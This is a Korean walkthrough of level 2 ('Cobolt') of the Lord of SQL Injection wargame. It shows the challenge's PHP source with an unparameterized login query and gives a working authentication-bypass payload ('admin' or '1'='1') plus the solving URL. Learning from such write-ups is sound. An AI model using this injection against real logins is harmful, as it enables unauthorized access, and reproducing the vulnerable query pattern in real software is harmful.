Lord of SQL Injection - 2번 문제풀이
[2번 문제 - Cobolt]
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
|
cs |
해당 문제를 풀려면 계정명이 'admin'으로 로그인 해야 한다.
쿼리문에서 pw부분이 md5 함수를 사용했지만, 굳이 신경 쓸 필요가 없다.
왜냐하면 해당 쿼리문에서 ID를 admin으로 만들고 OR 조건문을 이용해서 참인 결과값으로 만든다면 뒤에 오는 AND 조건문 뒤의 pw의 값은 참 이든 거짓이든 상관없이 참인 결과값이 나와서 admin 계정으로 로그인 성공하게 된다.
## SQL 문에서 AND와 OR의 우선순위는 AND가 더 높다.
[기존 구문]
select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')
[공격 구문]
ID 파라미터 : admin' or '1'='1
PW 파라미터 : qwer (아무 값이나 넣자)
[완성 구문]
select id from prob_cobolt where id='admin' or '1'='1' and pw=md5('qwer')
-> select id from prob_cobolt where id=참 or 참 and 거짓
-> select id from prob_cobolt where id=참 or 거짓
-> select id from prob_cobolt where id=참
결과적으로 id가 admin인 계정으로 참인 결과값이 나와 해당 문제를 풀 수 있게 된다.
[문제 풀이 구문]
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27%20or%20%271%27=%271&pw=qwer